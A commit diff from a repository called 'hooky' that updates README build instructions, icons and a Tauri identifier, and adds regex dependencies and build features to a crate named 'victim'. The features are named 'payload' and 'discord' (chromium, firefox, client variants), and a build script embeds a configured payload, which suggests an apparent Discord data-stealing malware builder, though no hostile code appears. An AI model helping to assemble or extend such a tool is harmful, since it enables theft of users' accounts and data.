~/hooky

4f72ea72f517ffe6659b28c7462bb924756e10fc — Arthur Melton 8f1d2716 2 years ago
better details to run
M README.md => README.md +8 -1
@@ 15,4 15,11 @@


### Running

Download the `zip`/`tar` of the latest build at the [Releases](https://github.com/AMTitan/Hooky/releases) tab. Unzip the folder and put it somewhere. Open a terminal in the folder called `command` and run `cargo run --release`.
Download the `zip`/`tar` of the latest build at the [Releases](https://github.com/AMTitan/Hooky/releases) tab. Unzip the folder and put it somewhere. Open a terminal in the folder called `command` and run.

```sh 
cargo install tauri-cli
cargo tauri build -b none
```

Now go to the folder `target` then `release`, and run the program called `command`

A assets/hooky_icon.png +0 -0

                    
A assets/hooky_icon.svg +30 -0
@@ 0,0 1,30 @@

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!-- Created with Inkscape (http://www.inkscape.org/) -->

<svg
   width="20.264992mm"
   height="20.264999mm"
   viewBox="0 0 20.264992 20.264999"
   version="1.1"
   id="svg5"
   xmlns="http://www.w3.org/2000/svg"
   xmlns:svg="http://www.w3.org/2000/svg">
  <defs
     id="defs2" />
  <g
     id="layer1"
     transform="translate(-95.649821,-166.0427)">
    <rect
       style="fill:#1e1e2e;fill-opacity:1;stroke:#1e1e2e;stroke-width:0.264999;stroke-dashoffset:10.0432;stroke-opacity:0.00713112"
       id="rect293"
       width="20"
       height="20"
       x="95.782318"
       y="166.1752"
       ry="3" />
    <path
       id="path1730"
       style="fill:#7d6837;stroke:#1e1e2e;stroke-width:0.475744;stroke-dashoffset:10.0432;stroke-opacity:0.00713112"
       d="m 103.19297,180.81916 1.24708,-1.60321 -0.99388,3.89229 -0.13958,0.001 z m -1.24866,2.29039 v -13.87 h 1.501 v 6.004 h 4.674 v -6.004 h 1.501 v 13.87 h -1.501 v -6.479 h -4.674 v 6.479 z" />
  </g>
</svg>

M command/src-tauri/icons/128x128.png => command/src-tauri/icons/128x128.png +0 -0

                    
M command/src-tauri/icons/128x128@2x.png => command/src-tauri/icons/128x128@2x.png +0 -0

                    
M command/src-tauri/icons/32x32.png => command/src-tauri/icons/32x32.png +0 -0

                    
M command/src-tauri/icons/Square107x107Logo.png => command/src-tauri/icons/Square107x107Logo.png +0 -0

                    
M command/src-tauri/icons/Square142x142Logo.png => command/src-tauri/icons/Square142x142Logo.png +0 -0

                    
M command/src-tauri/icons/Square150x150Logo.png => command/src-tauri/icons/Square150x150Logo.png +0 -0

                    
M command/src-tauri/icons/Square284x284Logo.png => command/src-tauri/icons/Square284x284Logo.png +0 -0

                    
M command/src-tauri/icons/Square30x30Logo.png => command/src-tauri/icons/Square30x30Logo.png +0 -0

                    
M command/src-tauri/icons/Square310x310Logo.png => command/src-tauri/icons/Square310x310Logo.png +0 -0

                    
M command/src-tauri/icons/Square44x44Logo.png => command/src-tauri/icons/Square44x44Logo.png +0 -0

                    
M command/src-tauri/icons/Square71x71Logo.png => command/src-tauri/icons/Square71x71Logo.png +0 -0

                    
M command/src-tauri/icons/Square89x89Logo.png => command/src-tauri/icons/Square89x89Logo.png +0 -0

                    
M command/src-tauri/icons/StoreLogo.png => command/src-tauri/icons/StoreLogo.png +0 -0

                    
M command/src-tauri/icons/icon.icns => command/src-tauri/icons/icon.icns +0 -0

                    
M command/src-tauri/icons/icon.ico => command/src-tauri/icons/icon.ico +0 -0

                    
M command/src-tauri/icons/icon.png => command/src-tauri/icons/icon.png +0 -0

                    
M command/src-tauri/tauri.conf.json => command/src-tauri/tauri.conf.json +1 -1
@@ 33,7 33,7 @@

        "icons/icon.icns",
        "icons/icon.ico"
      ],
      "identifier": "com.tauri.dev",
      "identifier": "com.hook",
      "longDescription": "",
      "macOS": {
        "entitlements": null,

M victim/Cargo.lock => victim/Cargo.lock +58 -0
@@ 3,6 3,30 @@

version = 3

[[package]]
name = "aho-corasick"
version = "0.7.20"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "cc936419f96fa211c1b9166887b38e5e40b19958e5b895be7c1f93adec7071ac"
dependencies = [
 "memchr",
]

[[package]]
name = "bit-set"
version = "0.5.3"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "0700ddab506f33b20a03b13996eccd309a48e5ff77d0d95926aa0210fb4e95f1"
dependencies = [
 "bit-vec",
]

[[package]]
name = "bit-vec"
version = "0.6.3"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "349f9b6a179ed607305526ca489b34ad0a41aed5f7980fa90eb03160b69598fb"

[[package]]
name = "bitflags"
version = "1.3.2"
source = "registry+https://github.com/rust-lang/crates.io-index"

@@ 23,6 47,16 @@ dependencies = [

]

[[package]]
name = "fancy-regex"
version = "0.10.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "0678ab2d46fa5195aaf59ad034c083d351377d4af57f3e073c074d0da3e3c766"
dependencies = [
 "bit-set",
 "regex",
]

[[package]]
name = "fastrand"
version = "1.8.0"
source = "registry+https://github.com/rust-lang/crates.io-index"

@@ 47,6 81,12 @@ source = "registry+https://github.com/rust-lang/crates.io-index"

checksum = "201de327520df007757c1f0adce6e827fe8562fbc28bfd9c15571c66ca1f5f79"

[[package]]
name = "memchr"
version = "2.5.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "2dffe52ecf27772e601905b7522cb4ef790d2cc203488bbd0e2fe85fcb74566d"

[[package]]
name = "proc-macro2"
version = "1.0.49"
source = "registry+https://github.com/rust-lang/crates.io-index"

@@ 74,6 114,23 @@ dependencies = [

]

[[package]]
name = "regex"
version = "1.7.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "e076559ef8e241f2ae3479e36f97bd5741c0330689e217ad51ce2c76808b868a"
dependencies = [
 "aho-corasick",
 "memchr",
 "regex-syntax",
]

[[package]]
name = "regex-syntax"
version = "0.6.28"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "456c603be3e8d448b072f410900c09faf164fbce2d480456f50eea6e25f9c848"

[[package]]
name = "remove_dir_all"
version = "0.5.3"
source = "registry+https://github.com/rust-lang/crates.io-index"

@@ 144,6 201,7 @@ name = "victim"

version = "0.1.0"
dependencies = [
 "config",
 "fancy-regex",
 "tempfile",
 "toml",
]

M victim/Cargo.toml => victim/Cargo.toml +5 -0
@@ 6,6 6,7 @@ edition = "2021"

# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html

[dependencies]
fancy-regex = { version = "0.10.0", optional = true }
tempfile = { version = "3.3.0", optional = true }

[build-dependencies]

@@ 14,3 15,7 @@ config = { path = "../config" }


[features]
payload = ["dep:tempfile"]
discord = ["discord-chromium", "discord-firefox", "discord-client"]
discord-chromium = []
discord-firefox = []
discord-client = ["dep:fancy-regex"]

M victim/build.rs => victim/build.rs +0 -1
@@ 10,7 10,6 @@ fn main() {

    file.read_to_string(&mut contents).expect("Unable to read the file");
    let config: Config = toml::from_str(&contents).expect("Cant convert to toml");
    if let Some(payload) = config.payload {
        println!("cargo:rustc-cfg=payload");
        println!("cargo:rustc-env=payload={}", payload);
    }
}